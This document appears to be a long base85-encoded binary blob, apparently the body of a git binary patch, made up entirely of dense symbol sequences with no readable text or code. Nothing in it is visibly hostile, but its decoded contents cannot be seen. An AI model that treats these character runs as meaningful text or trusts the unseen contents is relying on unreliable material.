zvBi5@=ewGzH&v(hO2YXzOC-azIZ?pC?4>>ezs%%Trq*%*wVa#O@-I7?<8v>W!86>O zFjP%dK8z*LM&UOUsO@>=Ja1?${d<}WTI5Btom2GI(yf*EW_;#EJmZ6@gs~P&yQ+%? z(N*Dxj~E~?AY+|vEx|sMYoO++BJ&-(>AU#I49>%p?R$XC1Xb%uys2KYxwQmOAWuGY z`5#C#>nm!GH)v0K>wHN$X`3GyT9=aj+0~U?$O^A$~pj)C@INwJy z70qciMa7C+wW|Qnzo^|OAJ2)PClL89sQ(=sH?6^r1^dX*inm<%5|Io3`SryY@#X&zA3gp{`0UW?uo6?bhrdNgw_b+=&$E|pO zA$BYJI^$J7u+)9q);yZ9|6?BMbv2KnI<7bRxl6syy^AWrY>ZPX?K|t~Y;%nXOJAgX zWj&0mbe!d-))Bkd!z@c2s5#ch*`}Ttehi~%^ ziJX=Hp^V?H$@raN8jtQ(MW#rZx-0*&)##PK1UMw|GYR!_Os@RR?4_lKo9x`F*2>>b zoDwU4?Z)RLtG9aPZ)Z#`{|_twdfw2nH&DTswUaFUJS@Hw&)#z7Kdrp|bgwl+mu5Ph z!&qq-CMyjKXJ@-c=TuAZxqnyinS>yIp=>ii$=pmQS}!-rOm(6< zGpw?0ZrE#LZap}Gf?7UKew!_LK^5F~G-Kud55I@DWr~N~$?E(J^=>k-5~24^d|1 zeT<3Z*6`SR=sPn58dEYcKK#(`(z@e=9%O%KneNW8*}^^j-`m2iXNwNr3byp)S54x! zT6IT$##xx}I|J{LbnIx-u~RD?D>9cE$7V*JulDQMYFxiU5(96&921VUyEwH5Ub|~j zYv8q8CW(Pp_0|`3L^{x0+;P`bN#DO$CG`rdtE7T0RU#XmtdY*-*gEcP+gc!kpMyx& z#!6EgTJ@MRUP;)$VYA|dP?jA|+u}2accN+C6p!LZOP=qnlc}D2iO_GU^>_HljI4kT zc-P$I`5Mv9i~o2gh6Zl}o!5q=i<;LVtviDA%kDV%DE3Sa-#&KUc8ir^8hd z{>QN3!@mGtIQ}7fjD{%%UqV{F5l;YfgThm{2>+EyYHueTOD|lXtUx@Gp!P0ywVU9o z{~Pki&FRyDcC6Q1TQA;BERWxWM>ACye;l*lk;q=I5bF-^mZ`Sz{|?pu>-=EN4K2`l z{2%t-Jg%y0{U2XzpK~^6U{*#!z!4Nt%n3sUXOuLY5{CrE6dXVt5p;t?idt!!L)uL; zD@skXu0vT^W|>)94w02`)rzZ?Hkl3jdq2-!;PGbnbMNo>`hLFu{JPgS>%E?5J!^W_ zT6@&~PTRHidVSXa=KR44Y z^R>+sW!C?%?5bu8<6<7eoJs$wdJm(ruDq=*eDYgR?jmk8mj8yjBw(cen?!s>u~t~8 z&aKPsbStB@JLaSk{Z8$*6nWm#|99$tkotq`dQQehvemcdko%}QkKR@tKH8YCU)2=C zI;%+M28=j6eTRy{{cnQQP9gu^jQbPhvu<|O3R$d^L7w0}5Hf!PH)ma&sW=8;&8==pCrgjr zZiyZdYK1JZBWWOirccMrIKbQlL4PF(zD;00FuMnHt8yUYPMP9quY0Ea*jee{N&VIn z5PF_UPp(+Y$>ptk#Nycr8)^ie;nRbw+B>Oqehv69b-rbfd(;r`s?|o4v1e{KhUe1O z{NNe*2BvTn#Qe6A2AAQ)D_;6Cbs`=U<2FdWm8CNe%_*72f!d2!7pdOLsuyN;90Wm*EPD5bIEGuGzjXNT`4>b19;$?a z40|EL3VZ@2ZxzpQ=GR>?DlKnn=i2h2cy*U|X4A3A&0z3dQ7XH-i$x{%sWsF>MR3LJ zVdl|ri{S%a^f@p-(592|aUgd;Iu%xQIs~}0$r;JiB2#M{m^c6ag=Tls^sOyH%jtii zW-OuR@T=3qTE$PQ{-rK6lE|EYof^J$xTD%wQma?17F~g7O@-_>L*Ng$X#HI53T4MN z_(P*w&mDaS&&?;#ZO5LA4PUoBx7KmnS%g^o|Jrd4^{SV1{x_a`t7LAT;pVt3|8E>O z@@@2TM0dk&|I?j4mo4AHb8mB8R{A%NOD(4y_f|>m5qGs;XPu=DHU70PN#|dEjlPch zbFZ`J?LO2g;jcAsccV@|rX~h~Gr!K`)GWs3yfupr!j&i2pwn42++P#~Q>M(V5BFQ~ zIfbaJI&J%F^-iROy<|9uomCe=6+ehhmB%9^nHvC0u?c^X7i-Xa=GuLh`NQF)=EO?Y zYIl3ws+ha!+Y%Z%x23!_PIB)!Y~rS4Z~4GB@-4TYv4kls0n^0vKvbbcZ$4+q zk{d(=^Ae(4+;6H|a2gY$jNm#!?Th-Kk7Fpi{my#vIOH~;AUA}RLjlEEx5qW0xbak~ zxanJ{gbz@-)*{-Lo++S<#5xSu=@BRg-u>i8Y9ijLN8`XGyc7oLk%t^YY{zu(J zUj5uAEJI0MwHx);B^2O;j}BTPmM!aaY}?1zqNaU6xD+1o;$|4T8m#y}aI_wD_YPz_ ze*!q~>!)Jf&@ou`>0u~x(_)fDdt%E{ZbNX|>=A*#t-5J}O`Uvhfo7jK2|Aj2dV!`z zdqMegqn!PPB%WFk{kaj)9;MI%R5BQff}v*7Hsp1??L;l;-`V~mO)LB#?HaBxg1oed z8)gx?Y>wzg$ncB$x5s)!H%2TPNS(sxA-=dMg0ew7m{qbwHz9@2T69zV#o+M z`Rjb`QF92<2eJ8!Xl&srl+FitnD6{?;X_+T_fbNurneH(FWoNGh1gKHpwK5Fxy{iW z=2s8fYDX&ex#8MH#eU!xi>YjS6J%LIYu`3XJ%GkobNH~!v{Cn!ga_}h%m1EIZ^2Ar z?g8tLQtA0kX5tHoEP!cPOHM2~BF6NG0*VnwW*i{MYJCT=NZ!zqQ` z)hUJe@EWHS+Vh(sDej_Z6>{6uqhj1nSK?y}IZsbItPt(r>hE9Fztd@jdVV5o+VKS@ zO>jZ!xzXrB?gModa)63-2{Jrj;-1<{5&IAk5Z64v`pg zrQJ+xuh*Gxo?rQAB|X1h0gUwk)Edj5269JR@3`68?yiJ0E=^xKL&j`#-HgS9+|k&( zZpKFcSxL_?MP&XycUxcmSSpVYKP&0^ zF-5R76i{c&z!%?luI2k~#jK6HJzRM7ZiEaFyK3xVc-nhg{hPv>-eCwv0GxiH4-(uW0Wk>gbPvl=@ z$?XE3ftxQt5}q!5(d7FtaqEyGHax#SDbbkD&qjzpqz#NvXRWqS$21I+1D=-ku>^~C zS4y-dU88Z;+8Eo}*3i}KLkJI^k)J(v0&e&bhYRdEBp*6hcw!0hMO@=PLsNR zlXXbX8~<$hhpmV#$K?|K8xTt}(tNYUm*aKOx+UQwF-~K=k7z%E1eaneQ+2Vm1>u8? zfh{Tg4-Wsv7|wVm<{c!yhcTODI<kK#_k!)fgba(lS3#@NjN}9`;K#Ct3 z;EX2@rE@M2 zo)apX&ZL-`9RD2a^x~KW94=uyjo3n8Mq?a{x3b_v#tj_v7Gu?PGHtZpp3_)1b>Z}T z(T+2F6PfAai6&IIt$8c*8j39wcC-u?J=nsj0hDSh7pN7-JPSLaVhN+*!X4%Cd4t7= zxpX0%7=oPim-0?!O}MtX$!w_Q>I)97P+zc~hzT_9Xq`3>BRauZzDS ztc&O_SNk**6CyHO-^az$#dmPVP%(Gf3L~$X*w`wwb*Nb6MNPD0?uxu1?cJs{kXp~) zJ0(;+kvGUw7r)G*8obn$jHWlIZ1%@r?bA?vSG1#LL$Q7Y;o!_2ExpD3xjA`(qAa4j z%Uf(8F(t!WY?@5?#T3F;SybV+Bla#w8}z-}$IwNUmCStwbcze`c3q6k{KM%Kf54xe z;sy9Q22WGc(Rl1eTE5NJh22UfzFba2)Y+e;E(_se)~s$qLow4r*dFKh5QFlfm+`~ zEtDKNeUejL#`NM8)sqNUU{(kfDOrO&`&<5wvEvjc5x)?#G=(dhlFk(aiJc;nO+1`V znLW-OvAO{nU8`U1<0F?&r34S7aG07HJ7;XqX)Twgk^^3X>xGK8tvw+6!~bNd}_NZ}QX{TU6+r%o}7rA?B_W^10dy%BbbfrAJ=;ai4Nv}#P^_o6*w zoT3vF`-=n)r=pQ{@z7-Q;knDGYmTFS&BS|f(m?UI<=tIQ5zp<^Eo(bw_!E<9h98Ht z{^IY9p8%VQ#*N9TpP562ZaA4T9u3QwU7Uz9#D{1=r?7CTzhPVsx6;MN71ZF#ga2?g z65kGAkk?2YYDTy)X8~L_8jiM6&OkG6ltqj?xk*o8?$gD?^Qmj1`%~AvfGG<@n&%A9 zE;MwvW_5_ug{ZW8H-&%N3wPV|WC>KP|CU`C07h$5TvXuzulI1N*2`qL%q#D^G_6Wl zga=}L#mmeR=p{asZ@`$ZXz;+E3BAM#d5Db;%ic5Ll>AtR zAP-;h!2Pb#y~Ih0A0GirP%NBTW5wvI&{sS)#?*{pmO9#Gk<8{P7RAg)=?oZc#Pp;} z*qGVNiZx-@L9wRH#wjz+m_4boZ_exor5Vj^iju`JdrYNk!R#tCYi6#B2=9ev?md!Vj6q`E z^~iZei`HDY8}Sv5a(d+S5(!!hW--k_A3+QU#6Wgq1hKodZW}xb@FOhf~>!S5{lXcbZ(JWEEVvQ$hcGCvB$&$4}Zmfqk)Q$Dj z?$azrT^7BxbT?sdZKNCPqm6cBeYG)ete=+Y#`koav}`c^5UE+i zf!ZWD;l0`vHBfd>v)$NzT7erIj-O+JO+#g$uFZ23 zj?fG+A+DlHTcIUNnBDDVvc=526f5O)k3+kc7^ywPGLIV~a#9_qZFcL?2ehZy4EcC3ye!|!>}TBcK87ZImeYAg;)l1i z$y&Kvy2;urZfvTySE~mLL*Y-4X?fbKT9o+Kzo#Lh#IOE+;ddVdEy58|*+HeioBBpnFuRg}#)vg~vY#sIyuzB}0z?GJ>Ku_D*`nou5oJ088ZlrS+F(|0z z0`LW$!l||k(0Q_$bm|Q!3%mQALCg+L6{eHsHcJigE*oL{`$*?+Jt>zZJ zjD-#g>rTSX+ApvZW2LZB&WVR18CG$w$7wEg4j1Cf-c*PLk6(aau+i~st`(a*z_>z? zAupZkcZRFs&8>KfaW2=@(@t$Uid&^nBmMh1`_l$zU&y7tpEG#cgBtB55=ha~PR;un zCoAI)I=~sEapAUc;jVJ3Ib5tP2c-&4{{wibwH6>nQX9hNi~)9Pxdk4CFYAOGEC&5~ zhs*w$M-7@K4z3|Zn4M}<>fwRJ7ZA3H?r;{1C6HEXZ$etccU~KJWagH5u5&QpMj+(#@b=?w(@)p|y19Y*H9q>7BiFI6?%7Ijy)9@H6 zdT3Ovc!cq!gGW#bw_hb=4?)s0jD9@tW9hGKzl0su+i;S206X9z?!O1`CDTz>O7Py2 z1_=MoF{9Zfdmv+r_~OAx;LnVESf`a9h#3EcO@W6OG)1bf5QBM>_1AM7zv4kL8`;_v z2YFJ}y#{4=h@)Bviu#2Gxg0Z`G0{%RdU809(dwX>2sZuO;z)$oaLi6fEn@E?n$V`P zS2g8P@CsvuliD(i+h8+y>({m)$p0VW(Vxf7($-4tv4KZKcb*L!GJ0`l^H4u2hOh%3 zvZNJ)Pa5e7ZeWjKetVPc(_G0;jU@CgxcmX>pTt}UHr(M)mEc{ z-Ia6{=vA5-E%X$ zXE`@-yF0FaxVPjkpfwQlzxxt0B;X>hI?QC|s(5Q9{PQx32g_{efQ43v|9TPP;zk%; zip>_9XwBudxsAf+@+x%-n`_;x95xqIb7CIKld-uRn+x$(Zj}uda%6J=pR=?^cg#RX zSj4j!7Z&jw+|wc|irc~R*TW2&4x4aK>+B{A*iAgScdwOD6Lsb$HJ3|swKUg2S~F>F zB&4;`A}ou@J>o!Mhw|DHO;fB`!qRXIY>PO~wI9unxg9Zhk+YG< z>u|ofxXcsC820mNe9>X9a&#qw=bzl)4|C1j*S#gk(jvC=Bx7C;m}`6qx9ISpEg&u8 zT#C42=0e3wF#I2h@$3VpEuxHv&DX3tiCcmeP^@@dUUT*P06J21;)O(AL|_WH2p{g_ zscgZAaTsF)AkIeZ{HH-BXUrN_!99NIb zJrzKiEn{>~8y~t5@h1Y80;hA~(z#gQ1U-ZpGp%XU3?r>!xl6n}`B5~5SMaO#<3+C5 zMyOJ4ETY3~s_~PdRJgYomvZ*qxR%Kw6kmu`QjB06Qhzh_dju2iXB`_?>_ZM;Vm!vh z8V_q}#gBEpXfe`?msu}b1{d#f<_Fv*-gAc80!2;SMN7OWnz$K_->mPmFt;vv8}Mr` z#1Sq;9yjbCp_F|aj#ycd>FwYi9@o(0wue>8YIAgy?l3$18~ z1}-u&4B1ODiZRQXs!Q>bl`v$*tM${0r$RNY_+iEX#w^B#jGrJ?TJe1xp2_$=a9HtW z#1AX32KtF%Ldf97c5j+tYD zt7c6AR=2unaSu}kCI<$JKg2X(g=PQ;%ZCE*663?y0-gOg0&|*Nw2~N#Lsc1pgB3Q0&quuONqbN3q{V)dM@OSiq>zAgB05vDi_OVAYE4n{~y{C2ABqKFj5D ziSHGAv9NiNr}$N|3ZpO{)Y8bT{Z~lnC0vUAj)Y#KzGCN)&|8El_ASzRi)fRfxjzc@ z5lfhrh|j$egM7t$#dhKGw7*Egp+`cLh}gtL{MJ=PjLEvU#{0ke;xl?#58-cVJ%j3t z3yQr57AP(&_Ib<1pkPrIYij<|HZdqvM7A>7f+0PF!bF~8KXpnBYAALpb_TLYJh3)4 zceYCmY9x{r3+j|;1T_)Gif)E#GjUw8USQE85e;ZnL$i9LhbirBU$%f2fysGYE4D;mj?!0;pARf;|Y+DUv(8yX<& zh#Gbl(H%@y1ePc!Dz*u%t9VYa;b2MPYsHSiN_TObcJ{-{SX82?h{SGVVokw%i#)|f zqn-L1VyB|VQSN>sFTqr;gwa&dh7LwW!WUt5fViUAI@I@G(KC@`3+*1w!{s26s#tLI z05M1mRqSL~xEw4-EA~}b0DcZ{BC`^4%{wt@h%mNwF|*k1n;0}q4DV{P60qUI+RbDU zK8Zmi#3;q8yYvhiC4N+_{-B;g_lwt(OijEh`=rmQ0xe02!n+w$!Me%(mD?|V864v1+`vGjXSgM$gEM5^O6^n(HJt8aJ)cg^$ed0OA z7DD!_xUAS2$PS1$BS_OI5t$IaA!aZw5uxz>gW?y(4nXxSkvP&cS_byEC|0Z=3i^(C zU$H*0azxA-WomARdmR;f6GhFihY7{5GPX=JBxH}3^_;9*O9QT+`-K3?RN6G zl2LEBmrsXksM9LZDW$uky}Zh7wY{kC*r4|E7sX2ZP5{G)7|>j8pPoG>sDt!StT=l* zm=Cjs?7$tR5u}7qjhq|QQT9+QwplS)KgBvVdk}1pVvUzR6x2yhQS3akrHW-S+oIT2 zX0IzYu$0nOD%OT&KN^azW}#1*S#CcTwot5qWxW&&u#uSz#l~o>!RRN=slL5A-CD)6 zCUvxTlG_w3VA(s0RWSQU7`}w2gxfibKa_AV3xmT=**ztc;a!RyZ%r8vQ0&EUV%duA zno4YuVuxB0ds4A;xy1G>7Soj2scrZ?VZ?G2%ZnnmSg~lX(q_d5a_wIwX29s%DWrN@2`{c7c2%+UU5I%` zn%OrUNvyeIA0!g%uGm}LGNTpi#2L;}EM_igu2yVJHnAPdjMerwoW+q^;XD#vP%I#V z*iFU!STi)rEX?bDN!DI5Kd#fgitR5V*(Al<<`8>OvHF?B%1mb1bGW3hDPbk|%o)XA zXJ`9fF&_^~=+(%~ev?j&ez=f2=I&+GF+CK!i{1Ht#hzeyE>P@umaS3D*u}yZ746Q# z_Y`Z%MlUKhmSqB8r%{HdI9&t9j`w?;tv(@%7Mft%a zxQ%ZwJN~0aV6{QP>$l1GGqhz9DEoZL`9wmDz=HV(8 zqvbt{dAoeUhAB4HSt{vlAa-p={ML& z=q&lWJwui%Hm&fq$ds!TD=w5^k1N&@S2SbgQ;PM*70p=rf?|pI4WDsxw_^9?`hvZt z*z$sKnI#V?_C!H|$dbnr3^V)fDdBRwJf(#DQUb(y`GsN?{nrIQAiq@X)BaC@eW%#k zzE1~Fkk=I3+P54GFHE>fFZf^an<(vyz3K0AO_Y9$wJNycmn}m&^ZK{Yo>bs+Wy?mU z5Ki-AaE=_pY?bix+!H)m&QZ+Y^Y!2X3uLuow#>{>SoW++DOv_vjZjM{05T*=IAr={|9W)B7%bRV}=UNlwVdc?d3-0F&@GEgz9 z?@}3|*tsHSNU3bD*rg(0ur`VnjtB}_COav%W<)qxa;>a!saP&k6nn&I>k)ZF zvCs_TBT$clW_`)bO6j8*nOP}=6{99yB_kE1CS4_CnVDHUDhrsIKJ%z7VP?ACqw;BH ztL-mi3Vu}XRIJ6=cq8Odxku52vArFS$~Tym*l7-2E#Fa$=D^kRI5S#gu;oAwzt?ox zHwxN^JSOSaaL9oV6(okNm1`7xvEXpEOj*0aF(FUN1&YOhmB~$t%~(DmWQ+WqnOXZS@}kM?&gG?Ii~L5h zsO7$3KP%P=vZoDsL(zL7d|G?V1vyi(%Iv(57vy}C@o3s6A5^kMNu^?&d|0s+Nxop~ z3`HM+aJzg`v6&EVm(M8{2iXp}Q?V|P?U4HvONH!3c~G%*$X=B1DVB@ncc=VFu_7$L zJLOr$o>*2YcFFUDdHs9P{>(C8(95Qf%l#7F+>2tdIx=BOLC7ukK(qLem+NE&5yow7 zNyuLLqnnl2nZ2l49*wgv&SO{#wly0pd;hmSPRP z!{uA@sA4_61H@bMq+`Y<}1aU_UF?tkr38 zSl&>qJ$9!bmL9{*5%c1*aQTk(QS9)t0P&6tR&2)9mqOl^k&4ZqS^*Zr%rHmn5gE^P zwP+Rpvh|2eRjgNbcgK6OO}g1@gP46i(qs>1e;D$fbc{0DkciVEM`eA*UYy+BaZD~! zY_01bA;;vQ(Wd5F*FQr(lw9+_>B@Q|Xfu<#efikZb`nMSuVo1s{r zxL~9+XNa|tGz)wt*O)Rv59_LAm15uE$#7MjCe0rIkQZ2XNR)W#hW9^YlLsh^L!!f= z*52pk7-oyaA(t*LNJFulzQMK&@^8#mi_Vb^Lodj;>ez=N7vsWF z{YI|DDKoU-w#)7i`mNkM$zlefv%FXHvj>_exvc@bq%YxK3n?in6pRx8V0 z;x3!RtX5XE%w4vKS*@(^3U}GPU|9cZg=<#23pX*Vl^wfH_Q`Fso{zexOJ!D@?#I>c zvfr82${tt)S?&FwQ_CY-SC~#~-4iA;t4;XhZL;5Qlg(e}o^C0#+H{HQ-DN$Q8MVST z8{CDRnAOU*J?<`hnOUvOy3t+c$*flP^55KLuQ98Yp|1Ey??D4sG}|>N>46@W-$wKc z^{itx5raa#>e#u6F`>SSkKG-A)I6W02-8WUwED~zinlR-qqJ1TKEqIpQt8a1)iSEm=FrAKqg9mM%A$q#F0+N=XJpYr6Hk$Bq4*YAfN?vSS=2Jh;k$ZKVivzKGXSnUNLje~H(IFkL8gc{Vg&o2J+i?P6$KZJ}bLNqK53p3MbJFWUQ_RVdYzc5=UI>}O`8~zLxhFjDC&0xAvoJW1zX?e`5<%{_KwVk&4 zSyHW*KQ?Ixwu2cb6z#PG%nsX^jI@Qe*FIKk2D2K)>iLuGrea-Ehy^@HHV@l7H?V~o z?X{MQ7O^l{v6&FI*X~nn49lh{_G~1{7AiJ^H8&`BcNocDWM;NZd+k+bwZ(pm*+M)Y z!Am_u`}#K3A8%9rU8$bLW2g2gv=r~V=va}x@f3cp<^OlY{3o$@kFXowKt%AteE(&V%{VnoVq-bs9vr+Zu_vDJY##Nuxk9E-qnJq6Ok+%8orhSzJ*2go zt7nkrLYD4h&4=BjGg*JgOz0Tc6i=#V#``(hcbv^o4!_3Xy(k2}`e4nmZ1fC==QHkL zyj7>#Dw#I_9Pb`uxRd`pd<2_lHLN>wY`wN6W^gskc+$~SRn2fS z1FHDonv?xi_Ee8rbEc+y%wMJY&*Itt|1(u8sHthz`*ZAWl)^-_SdT|g41Q`F#T~^J zJAi$Z_|@NVy1A+Bi{rd;7BA_TEp%}i?*D4Z_sec&@ZT2bKhaN}LPgPYDVMvri2GaP z{?j6kCQ-Q#0i}4j0V$E-_W0%TBsK9r$?V_jG{!|NKI)>jH^is70?_a+2Sx2JrtsHo zDC}KS8^*7fPNbMexk*ja^aD7x-SO`;GgpCIHNL%KhWo6vnETI6a12E;3nWER8inIm z5R%{GL8M!u-{?jKZ8(YIo1*>xE2Kl6vi~hbjD0z0M3^r{b`H^j3q!FXG#_rS)rngNv4IOvVoCe z8i&h(&BS$UK~^gfZ=?I+cpKdZd(y!fKsq<0l+)H1Z_F8k4_RzE*&>X?VH~b64u=;Y zhOm^sG)mBa$XzMgajF!3ub&YhQgkOwr|AV*J4Awh0w)2d>rWr}`mo-Yb|XkIB^ zW07U!ASXKlqKhLcOxZ~J9?rXxa%0yCvXZ5hY~q9*pEg6Dkk7kLQ zrVC^>YgV&n4Tozue3ipjIeeYN*EuW=ja)-&R5~f==Wdq=xjpuABPZxvSM26i*#|6+ zKaCD5n)4oXsCjFw5pmy$NDrq1MvLJAVCO7BQ1oLq7bHMSrmT)hWcrhdS=OK5rg=FS`5d>b2y&E2^>z~a0;ir zs&8z)M7yqM;w@h?Vjj|xO-;GkFI*y>fsQ}p`{)TvC)!g*0C`kUDOP$t8%!@W%Y zioHwma#~A@*|maVI=XP)mj^xdOVKO3>;`@aJRw_po)+oIrUK^&jl`b!bgeJ8X{T%C zG3na+)FU__s5<;O@DThdQS^yDrTM|mSzyUvod1(3F6W%m645NxTBT?g@tu~feN+4s zaB4dGSf>y4vbFtLr-7L$P`36#1HwumIqYv*h{rDzr6pbe=R}8P8n?kTu5pyds+=%O zj0ZV*l*i>H7v8W_yOwih;yvb+oHpRk|3InBxt7`1)e~YY1zJD6xsLJh_ikg!w%(ZA z-V*Pz3_97?E!Yy5Z7rMA4e`U4>3C&L=611#63)1UGw#Wa+>@(RiueaCr5vBi@u})33??L>d@fDU#{oPz#qH4Ch0G<*NUBPc(r&?(k_QmkFPLZvn7q%RUYI%yI?34NQw6$>?`(}S)%C3(&MFm z7}gdeZKSKw^IkCXXvvP>;|3Qg5-M+Vz=d5jwzX4^;ZBeHGuk;*~T z9*YxF>Ef#Or^qjDQ3$sZC%C_>8EY7?GfM7)C?KByUganUNBJ?vForNzvNVCi@r-GV zDU6wn>5S7Dvl){a3xMC*PIzp>S%NA0gt0%_PKcd}0VvjdbaAHbTJ-M*qE>)xuoYx! zdWznzza2ObI|4$m?orI#SRddd_%Vt#aQJ=6B_ zid5atPVc=lZ4(FoZu7HKNki-fS!swrG50ldhB7gVw9f~q0qgxmn&BZP*O*lHtXIY*s_X(^{PnygDXuhDei zxkhvK5X*^z5+KzNVH6_7LWM}PN6-1)7GfEM_%!?E`4s*I@gbIH8ZJdzXQM}eKVuh} zlt1OH)idpTBQ~M-uMK?~@vk?00cgZbr0n12j6Jb~L&{}%Loa14C!W;&C4HAT#wO-A z+=Ik>h6jjhYx9P$>y`RXQIF`=R_{4)1Mi;ii+Jj|N}cSK*jJ$?fI08!rO5cWzRFG& zSjFwP%HB2N6T}Rp{co%6)W@srJj(6VyBoOKH`wpO*PI*d2O}i#Yn)8D!M+v+P0^nk zyj#02I*bbtrSKbCI|j#{L*e=)?$$yqi*YeR@n52yD85q9i(IOg*}D(=Rxh`=P5wy_ zkveu%g~(Bpas3k_slP+y=BW~4d&KV$k8EV|2$6fJG39&BogN3-C*XQ${3wr4&>kVO z1$sS-dv}$6KH98Ogf{f`sN_Db6x2>B`WD|n6e}opx0b+JCdf6-gFH^KwG&iH!+OH* zfGeF~hf0uJAx@CXyaV-kNp+2vd2FH_<|^TaT$wv9n%>r&3aQ1fiU=Qw^U;$ajmS77Oy_q8QW9-ExyQDC_l zHwp2r`l3^~#wl`d^E}uex$Jjal!ID2%5jX5Mpl&JAWu$_L`pr#^V7LI(&f-85<9?2 zb%Xs9%x$n2w#3af8gQ0J3>%7ZP?yCxNHfMk7N(*7W_hggp!Un=?6cWgwww?5%tld) zJmNWRJnP3h49Y&<;e*84=;PyrI*kR1W`zYFr5@z% z*)q9l018KLl_`BDKY}(pgN`eZ2%7U=yumZGdV^Xv|NVBrFL z5wDGDoIyHcCbIlH>%V5duCK!xk=OOPnYaMghUEp|fS%4#M+`fa_qcr@W_uhNVck9N zj6DSz;9keFG3RspE(cva?Q(pYbl!f#+9#IcSLOWEzR%(BeZ?Nn+2D!^X;X9>gy?B> zWxRzvDc4J=FR@3?9`wS17H0ND%&cFoHG-i({*DCdl;9hLrhj&hB5$d+T;p&?om zVK@$2DCVH$+bN}@M*dOwu%kwD4C4_CeK~N%;5Gh;WhJioPQcuD?JBZ-)^Xi&Iddm) z|C~JzKW#X6gZgm>4mMhCBF9{3a}HCgZNWu%4eXqEIJCu4mmChKjJe{FEUlK$7d`B# zX8kgb@v|CKB0uYih*I1x-I#Ys>|^m&nFQ6V9Iljc2v>4AMmvs+uozCf%F<_OOXqdV zwAgrOi1mJ4$cI?z6227KcXURv&Mr>n=cJ{)09~By+$Co=yX4p<=ip9qn)QY;;R?#Q ztBo#7I6*lln8sn;7oc#JTDPeaoRu7tpq)kb2^~Ta9vOigj^wmrQXE%irrvwob<_QnGbN z)6>o(^D@~=g-EtiZzWsl3NG17S92-O-uXYngf06f%pGW8b5)|=xZ-n89^i6O%-@_2 z=YB6=SF-h)=wMfhWeVCj+4|d5Ohnp6zQ4eog@LH%xYtRxW?{EmivDdxvMWVD7tt3c zo*6XERU{@ZKcyA%T}!5uYL@NX-D;0xnsdgA?v4U9EX?uPnFgHcayY3CrdijH)Wsrh zgGJm1i}+rk#Mx@aGFJ&SA8~~^zgxb}Wh8(+fy|CHcpm6Vk!UXO!d zJQMI}qMb)iQG_$H_c=ew&G6jB(w=B8YE$a>YQ#J(%z zO|KL^wDA$3W1=p~c^7D!?e|8;X_01gHO6fvC&;#KZ*&GqU!kE=^l}W#0>ooswSAcN zl~;@_HtHL%Y}T+Q`gZWXYOP$6=pFBRvSn`rQJ-SNWEp2)X4@J++PloQ5Z5hbwzLUZ z-f1p>?|mNoJWdqm;BU_f)4bDNpC--rzAiT5nrENKRazZvk4${r`y`ruhxcdP><4Y* z#vk;)z%iFO=7?<-_6HxatPYYMwUry#2j(he;g247n_`=_Eqwe7 zK2}Nf@Wi9DSo;ZE@5b-?P_aJnNfoPGp7J@tiBH&mM%ho;_DrODm^uemc>AWJ#(}=| zk+y|znEZTMtUV0RP%1s^^8>dgl7{F(+t~@DePcP7cG941YS`#5#)G!taLRHk%pJ5f z3%}&O%NF#&5#K~4_{6s-7fb49mX~wzY{2Cke#uwjmhF;vPtK->3shs<5cY#_f=)Ww zl5XQ27{+i(-8xwKmAj_m!oS?r%fR(axoZt$`w|M@(-K!W&M|R1lqSV_0h?jUq)Uu& z>Co?*SKqIa*NaM?=^XlQTnjn$l6j$i`&?}r&@y%12n(cSNz)XbzD1Ma;hyK7M0@3$S3p!(1U7lU8WV?@axHQ+$i>j zQC!3rk57}l{G&YnNcu)N*v?hU@Hq|quUekz*9b_{)KyE=3JPCq5a;jE9*)8zPeXfc za;krpq{k|_B`$oxKg1&=BG11}>zKO9Kg4rl|EK(;Jb&!}tp8-z>B&Pe$}_9~8<6hk z|E_TNxP|d8#`BC87wa=_VLWff zcvAd0#)XVqfClQv#NtI_5l9%xScSu+5EINXj7f|cW=wO6Ph!kqEM^qZtj`$5Sj@PY zv4XLRQN%#g2#=&c;Yo}cjKz$b87mm87)1*<&6vcP!C1_=nX!Vgicz#=ea0ll48~%{ z&5T9`|EXfkXhjK%88 z{71xd0>&i93dSl%(Uzr*NsJkc#f+O7D;TR7#a*n=n8cXDxS6qnv5HZ&GyT6EB}ihd zVifJ!1Y;6oRR@X@9XXyci7|t*m~k^>1!EPX=*0SrNsJkc#f+OfvHw>vsbUlflpu*Q zgRz)#Gh+o~6=OA{=uG;OF_JNfF@v#~v4n9mV;SQ?#^k%%|1SwNr&=1CB7FO$B453!gr|bA6ZjUiWS4m+F_}SLCn?*x|!f6w8t<{c2e z6h>G-zBBNlzFmRFqU;{{^Tx;&U~030z~)Pb0>5IM$oLcE;8Kcj$KiDx4&d-S4u{xC zI!+r2?8osFCuJf$kHd!;cd_Pu98N1C{gXy(O0YYe@Rg~A@3ta5pG(-PDdDFaU#}~L z`!^@NHk?rNCalULjO$1EeFotsPr{=mgx6TwB$dLGtdym(oWeK42xmkY^e2{059Z8{ zq)<%F3c^iY2xCSPew0Y~4riRm`mN?t%(!gAcC0yW9)&|92m?6g&AuFF%dZzvxI+$M za3qh9V`CZX!#H=5&0l2y`WuHBpbOvWW2{hB1HqEe^b}v_~%h;{ZF)Ls+T~3LI zFh0py?r%*osj~^wCQ~7XOd=c`RSx_-n{Z_kNedX08Ame~a|=DcjHDB$?gFl5%Q0M~ zas9~7fE9#&y$L@wxaF$v=5 zc7WKShsjVAM=%v?;yuwCcobXeH1R&}<}_@*YY+SYbD}0b6bZoN;%?vx(FORC=mz{) zBm++xxaHHtDf~8-CQge!z%wER_=)HbtQ7YEKNSOkXGI$DGu#$x;&c2Gl_tIr_W{p| zbYPVj39J^Qf&UO=fagUf@PZfzyokMkn)nj)xrQ@Avw>gZW>OP1!kB_T{}j2vOW5S6 ziOaaZ)WkPpCh%J^8~7cje@$G$0)YLRSOPRGuLkf3Q3CuCccPm3Nh}8bES3PTVYi+p ze!(K4iR<`fYfbzr9s&M_)j|`$;~QuVr<^|qydl<+p_|xCNIM%h0;PNcsL3aR7Fhf+zQm?vp^474z$Y`fDXAG=#(!4U2+%DQ|<>bs$Pdx?oq?LTTb@8T5vYkI`7y%D zKuvUC*W)+sF$3QkB5E`cUs}kk2#*13VzT@J;VD2(OqD+&oD0-MzPyI;bf6|?$mpzR-S@i|ZagdgNevKw3aH^M7u?c|XAK$g{}lEn05P@S?io zEQM%K2q`ThsU$7hv`R8d#cO}9Hxk)jl6a|!h>*QV(k5Bn5GqNMw*PtVtrwrq=llCl z-ScecInQ~{bIy6rUFHr{{RNN#4~H2*{xm=aCdG$Az5pNt?$sGW{xU!YR)~*;{1t!< 